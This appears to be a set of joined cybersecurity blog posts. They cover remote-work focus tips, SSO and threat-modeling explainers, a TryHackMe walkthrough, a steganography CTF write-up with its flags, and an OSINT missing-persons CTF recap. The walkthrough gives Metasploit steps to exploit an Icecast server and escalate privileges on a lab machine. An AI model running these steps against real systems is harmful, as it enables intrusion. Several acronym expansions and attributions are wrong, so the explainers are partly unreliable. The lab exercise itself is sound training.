Declutter Your Digital Real Estate

Tip 1: Tidy Up Virtually

Just like a cluttered desk, a cluttered desktop can be a major distraction. Start by cleaning up those files scattered all over your computer’s desktop. Organize documents into clearly labeled folders and keep only the essentials at hand. A neat workspace is like a breath of fresh air for your brain, reducing cognitive load and making it easier to maintain cybersecurity vigilance.

Tip 2: Streamline Your Browser

If your web browser looks like a tab apocalypse, it’s time to embrace extensions like OneTab or use built-in features like bookmark folders to keep things manageable. Fewer tabs mean fewer distractions and lower chances of stumbling into a cyber trap.

Enhance Your Physical Workspace

Tip 3: Go Green

Integrating plants into your workspace isn’t just about aesthetics. According to ART, natural elements can boost mental focus and productivity. Even if you don’t have a green thumb, low-maintenance plants like succulents or a view of any green space can help restore your attention and reduce fatigue.

Tip 4: Master the Art of Natural Lighting

Good lighting is crucial, not just for those Zoom calls but also for your mental health. Natural light is best, so set up your workstation near a source of natural light if possible. It helps regulate your circadian rhythms, improves mood, and, according to ART, helps rejuvenate your mind.

Optimize Your Technology Use

Tip 5: Notification Zen

Every ping and pop-up is a potential rabbit hole. Dive into your notification settings and turn off non-essential alerts. If you can, designate times to check emails and messages rather than responding to every notification immediately. This reduces the cognitive load of constant interruptions, making you less prone to cyber fatigue and more alert to potential security threats.

Tip 6: Use Tools Wisely

Leverage tools that help automate routine tasks. From cybersecurity perspectives, use reliable antivirus software and enable automatic updates to protect your system without having to manually check for threats, which can be a mental drain.

Create Restorative Breaks

Tip 7: Schedule Downtime

Just like your devices, your brain needs time to reboot. Schedule short breaks using techniques like the Pomodoro Technique — 25 minutes of focused work followed by a 5-minute break. During these breaks, step away from all screens. Try a mini meditation, a quick stretch, or just close your eyes and breathe.

Tip 8: Digital Detox

Set boundaries for your work hours to avoid burnout. Just because your home is your office doesn’t mean you should be on the job 24/7. Establishing clear work-life boundaries is crucial for mental restoration.

By integrating these principles of Attention Restoration Theory into your remote work environment, you’re not just creating a space that fosters productivity but also enhancing your ability to stay vigilant against cybersecurity threats. Remember, a calm mind is a vigilant mind. So, declutter, streamline, and breathe your way to a more productive and secure remote working experience. Happy working!

#ShareTheKnowledge

Authentication: validating that users are who they claim to be. This process is often completed through passwords, one-time pins, authentication apps, biometrics, and others.

Authorization: giving the user permission to access a specific resource. This is directly related to access controls or client privilege.

Single sign-on (SSO) is an authentication method that enables users to securely authenticate using just one set of credentials with multiple applications and websites (OneLogIn Inc). This service is based on trust relationships established through the exchange of certificates between a service provider and an identity provider. The certificate validates the source’s identity trustworthiness, in this case, the service provider, and grants them access to the resources. In SSO, this identity data forms tokens containing identifying information about the user’s credentials.

Single sign-on is part of an ecosystem responsible for the authentication and authorization of users; the services and the relationships of this complex system include but are not limited to the following:

• Federated Identity Management (FIM)
• OAuth (specifically OAuth 2.0 nowadays)
• OpenID Connect (OIDC)
• Security Access Markup Language (SAML)
• Same Sign On (SSO)

Federated Identity Management (FIM) is a trust relationship between two or more identity management systems. Upon the growth of his trust-based relationship, SSO is able to operate across organizations.

OAuth 2.0 is a specific framework that is part of the FIM architecture which focuses on the trusted relationship that enables the sharing of user identity information between domains.

OpenID Connect (OIDC) is an authentication layer that works with OAuth 2.0 to provide Single Sign-on functionality.

The Security Assertion Markup Language (SAML) is a standard that facilitates credential sharing among multiple devices within a network. SAML outlines the framework which allows one device to authenticate and authorize a user on behalf of other devices. This open standard is a widespread implementation of SSO.

#ShareTheKnowledge

Authentication and Authorization: Where Does SSO Fit In? was originally published in Dark Roast Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

Threat Modeling is the structured practice of identifying and prioritizing potential threats and vulnerabilities, and the prioritization of mitigations to protect assets, including confidential data and intellectual property.

Threat Modeling Best Practices

1. Define the scope and depth of analysis
2. Understand what you’re threat modeling — Create a diagram or flowchart of the major components and how all the systems are connected.
3. Model the attack possibilities — Identify assets, security controls, and threat agents to create a security model of the system.
4. Identify threats — Identify potential attacks.
5. Evaluate missing or weak security controls

Methodologies

STRIDE

Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service (DoS), and Elevation of Privilege (STRIDE) was developed by Microsoft with the goal to aid applications in meeting security standards based on the CIA triad principles: Confidentiality, Integrity, and Availability. STRIDE offers a six-category process to identify security threats, shown below.

VAST

The Visual, Agile, and Simple Threat (VAST) Model is a method based on Threat Modeler which is an automated threat modeling platform. The VAST threat modeling focuses on covering the entire software development lifecycle (SDLC) across an organization.

OCTAVE

The Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE) process is a risk-based strategic assessment and planning method that focuses on assessing organizational risks with little to no focus on technological risks.

OCTAVE has three phases:

1. Build asset-based threat profiles.
2. Identify infrastructure vulnerability.
3. Develop a security strategy and plans.

PASTA

The Process for Stack Simulation and Threat Analysis (PASTA) is a risk-centric threat modeling framework that aims to bring business objectives and technical requirements together. PASTA employs an attacker-centric perspective to produce an asset-focused output in the form of threat enumeration and scoring.

DREAD

The DREAD methodology was proposed by Microsoft and published in 2008. It is currently used by many organizations to assess the probability of security risks within five categories:

Trike

Trike, was created as a security audit framework — it focuses on using threat models as a risk management tool. By using the requirements model, each asset is assigned an acceptable risk level. The analysis of requirements models yields a threat model where potential threats are identified and given risk values.

Lastly, the appropriate security controls are assigned to each asset until the risk that the threats posed to each asset is within the tolerable range that the requirement model outlines. The completed threat model is then used to build a risk model, factoring in actions, assets, roles, and calculated risk exposure.

MITRE ATT&CK Framework

MITRE ATT&CK is a “globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.” This framework is used in the development of threat models by providing a detailed outline of common techniques used by cybercriminals to compromise businesses and organizations.

CVSS

The Common Vulnerability Scoring System (CVSS) method was developed by NIST and captures a vulnerability’s main characteristics, then assigns a numerical score which is then translated to a severity score. This representation helps organizations effectively assess and prioritize the vulnerabilities that exist in their environment.

#ShareTheKnowledge

Threat Modeling — The Short Version was originally published in Dark Roast Security on Medium, where people are continuing the conversation by highlighting and responding to this story.

Deploy & hack into a Windows machine, exploiting a very poorly secured media server.

Tools: Nmap, Metasploit, Mimikats

#1 Connect

Connect to the network using OpenVPN or access it using the in browser machine provided by THM (membership required) ~ Detailed steps >>Here<<

#2 Recon — What can we find out about this machine?

Deploy the machine!

• Once the victim is up and running, launch a scan against the target machine using nmap — ‘namp -sS -A -p- <IP>’

As all ports are being scanned, it might take a few minutes. Once the scan is completed, take note of open ports and other notable information obtained.

• One of the more interesting ports open is Microsoft Remote Desktop (MSRDP). What port is this open on?

• What service did Nmap identify as running on port 8000? — First word of this service

• What does Nmap identify as the hostname of the machine?

#3 Gain Access — Find a point of entry.

Nmap provided various open ports and a few services running on the target machine. We will focus on Icecast.

Research Time! Icecast, or well at least this version running on our target, is heavily flawed and has a high level vulnerability with a score of 7.5

• What type of vulnerability is it? Use https://www.cvedetails.com for this question and the next.

• What is the CVE number for this vulnerability? format: CVE-0000–0000

Now that we’ve found our vulnerability, let’s find our exploit. For this section of the room, we’ll use the Metasploit module associated with this exploit.

• Start Metasploit — ‘msfconsole’

• Search for the target exploit — ‘search icecast’
• What is the full path (starting with exploit) for the exploitation module?

• Select this module for use — ‘use icecast’ or ‘use 0’

Once the module is selected, check what options we have to set. This will show you what are the requirements to run the exploit successfully.

• Run the command — ‘show options’
• What is the only required setting which currently is blank?

‘Required’ options are those that need to be satisfied in order for the exploit to run:

• ‘set rhosts <Target IP>’

• ‘set lhost <personal IP>’ — openVPN IP address found on the “Access” page or on the top of TryHackMe Dashboard.
• To execute the exploit — ‘run’ or ‘exploit’

#4 Escalate — We are IN!

• What’s the name of the shell we have now?

• What user was running that Icecast process? — ‘getuid’

• What build of Windows is the system? — ‘sysinfo’
• What is the architecture of the process we’re running? — ‘sysinfo’

To perform further recon run the following command — ‘run post/multi/recon/local_exploit_suggester’. *This can appear to hang as it tests exploits and might take several minutes to complete*

• What is the full path (starting with exploit/) for the first returned exploit?

Now that we have an exploit in mind for elevating our privileges, background our current session using the command — ‘background’ or ‘CTRL + z’.

Take note of what session number we have, this will likely be 1 in this case.

• Select our previously found local exploit for use using the command — ‘use <Full path to exploit previously found>’

Once the module is selected, check what options we have to set. This will show you what are the requirements to run the exploit successfully.

• Run the command — ‘show options’

‘Required’ options are those that need to be satisfied in order for the exploit to run:

• ‘set session <session number>’ — most likely 1
• ‘set lhost <personal IP>’ — openVPN IP address found on the “Access” page or on the top of TryHackMe Dashboard.
• We’ll have to set one more as our listener IP isn’t correct. What is the name of this option?

After we’ve set this last option, we can now run our privilege escalation exploit.

• Run this now using the command — ‘run’ or ‘exploit’

We can now verify that we have expanded permissions using the command — ‘getprivs’.

• What permission listed allows us to take ownership of files?

It is recommended to complete RP: Nmap and RM: Metasploit Prior to completing this room~ Next up is Blaster !

#ShareTheKnowledge

HilltopCTF is a team-based public CTF hosted by Security Blue Team which focuses in jeopardy style challenges with increasing level of difficulties. The CTF is aimed at anyone from novice to medium high level experience as challenges are varied and require a combination of resources and methodologies to be completed.

If you are familiar with my journey into the field of information security, (Journey here!) you know that HilltopCTF holds many “firsts” in my books; my first live CTF, first time using GitHub, first times using John The Ripper, and first time placing top five in a CTF competition — I am proud to add yet another accomplishment to the list of firsts as HilltopCTF gave me the opportunity to be part of the engineering team in designing and testing challenges for the event that took place from May 23rd to Jun 1.

Mr. Pink

Mr. Pink is categorized as a lower tier hybrid steganography and cryptography challenge earning the participant 25 point.

This challenges provides you with:

One line description:

“It’s hard to be a flamingo in flock of pigeons… “

One downloadable file: QueenBee.jpg

One available hint:

“Its like a Matryoshka; you know, those Russian nesting dolls…”

Mr Pink Write-Up

This challenge was completed on an Parrot Security VM using VirtualBox.

Access the challenge and take note of any information given;

“It is hard to be a flamingo in a flock of pigeon…”

Proceed to Download provided document; QueenBee.jpg

In order to navigate in terminal, basic Linux commands are needed~ Here is a refresher if needed!

Before starting verify your location within the system by using $pwd

As the challenge file was downloaded it is bound to be in the Downloads file — this holds true unless you changed the desired download location. Navigate to Downloads folder using $cd Downloads

To make sure the QueenBee.jpg file is in this directory, list available files using $ls

After looking at the image, notice there is no text or markers to suggest the flag is written on the picture; Therefore, the next step if to check if there is any embedded data. This can be accomplished using Steghide, Binwalk or the like.

To install Steghide — $sudo apt-get install steghide

To check the files for any embedded data using Steghide use $steghide info QueenBee.jpg

This requested for a pass-code — pressing enter in hopes one was not originally set will bypass this step. The results show that a file by the name “qr.jpg” is embedded within QueenBee.jpg

In order to extract the file, we are able to also use Steghide. If you need to find a quick guide on how to use Steghide, or many of the applications installed you can do so by $man <app name>

Extract the embedded file by using $steghide extract -sf QueenBee.jpg

We had established that there was no pass-code set for this file, pressing Enter will bypass the pass-code request.

Once the extraction is completed, list files on the Downloads directory to ensure the extraction was successful using $ls

Notice: There are now 2 files, the original QueenBee.jpg and the embedded qr.jpg

The new file can be view straight from the terminal by using $display qr.jpq

The new file is a QR code — you are able to scan it with a mobile device or find a website to read it.

“Read QR code” google search came up with Zxin decoder Online

Upload the qr.jpg image file to the side

The raw text of the QR code is https://medium.com/@MrPiink/-d4579853c5eb which bring you to a Medium Blog post.

~

Using CyberChef for ease — decode the different strings found throughout the picture to find the flag.

This challenge has a few decoy flags laying around~ do not get discourage !

First Hex string — 48 69 6c 6c 74 6f 70 7b 4b 33 33 70 5f 39 30 21 6e 39 7d

Hilltop{K33p_90!n9}

Second ROT13 — UvyygbcPGS{4\z05g_7U3e3_a0G_Dh!37}

HilltopCTF{4\m05t_7H3r3_n0T_Qu!37}

Third Base64 — SGlsbHRvcENURntSITlIN18hRDM0Xz4+X2YwXFxvMHdfdVAhfQ==

HilltopCTF{R!9H7_!D34_>>_f0\\o0w_uP!}

Final Hex and Base32 — 4a 42 55 57 59 33 44 55 4e 35 59 45 47 56 43 47 50 4d 33 55 51 4d 32 37 4d 5a 47 44 49 33 4a 42 4e 59 34 57 36 58 32 41 4e 55 59 47 34 4e 53 37 47 35 45 44 47 58 32 51 4c 51 34 54 47 4d 44 4f 4f 4e 36 51 3d 3d 3d 3d

Flag: HilltopCTF{7H3_fL4m!n9o_@m0n6_7H3_P\930ns}

#ShareTheKnowledge

• A First LIVE CTF Competition~
• Capture What Flag?

Trace Labs is designed to serve as a tool for enhancing the state of missing persons location and family reunification.

Trace Labs offers a modern, cost-effective, and accessible approach to an issue that has broken many families — their fundamental goal is to provide open-source intelligence (OSINT) to law enforcement, gathered at regular OSINT operations and via information security conferences CTF (Capture the Flag) events.

This OSINT CTF is non-theoretical, where contestants work to crowdsource the OSINT set in teams of up to four members that can ultimately generate new leads on missing persons. In comparison to the conventional technical natured CTFs, where “flags” are concealed inside pre-configured servers/virtual machines that contestants must access using hacking techniques to gain points, Trace Labs OSINT CTF categorizes “flags” based on pieces of information gathered that law enforcement can use to help in missing person cases.

The contest runs in the structure of a Capture the Flag (CTF), in which participants must collect multiple “flags” equating to points. As each submitted flag is regarded as a possible “lead intelligence,” Trace Labs has a team of volunteers known as “Judges” who verify each submission and award points if the “flag” meets the criteria of one of the several categories.

I enjoy CTFs, they have been part of my information security journey as through them I get exposed to new tools and strategies challenge me to think outside the box. Nevertheless, participating in a CTF such as Global Missing CTF IV hosted by Trace Labs is an experience worth repeating.

This event was held for 6 hours, a time during which my team, BlorpyRobot, Medjey, “Chupacabra”, and I got to OSINT a list of 15 individuals. The demographics were very diverse as there were children, teens, and adults alike, ranging from months to years of being missing in different locations around the US.

Through our combined efforts we were able to identify the public and private social media profiles of the subjects, along with their family members, memorials, interests, friendships, and even their phone brands. In some cases, we could find information about the day they went missing and the individuals with whom they had been seen — all in hopes of helping to locate their whereabouts.

The goal was to help in as many missing person cases as possible, this resulted in 28th place out of 173 teams registered; Wishing we had more time to help~ and with high hopes that we made a difference.

#ShareTheKnowledge

OSINT Tools: One Two

:/Jen

OSINT for Good: Trace Labs Missing Person CTF was originally published in Dark Roast Security on Medium, where people are continuing the conversation by highlighting and responding to this story.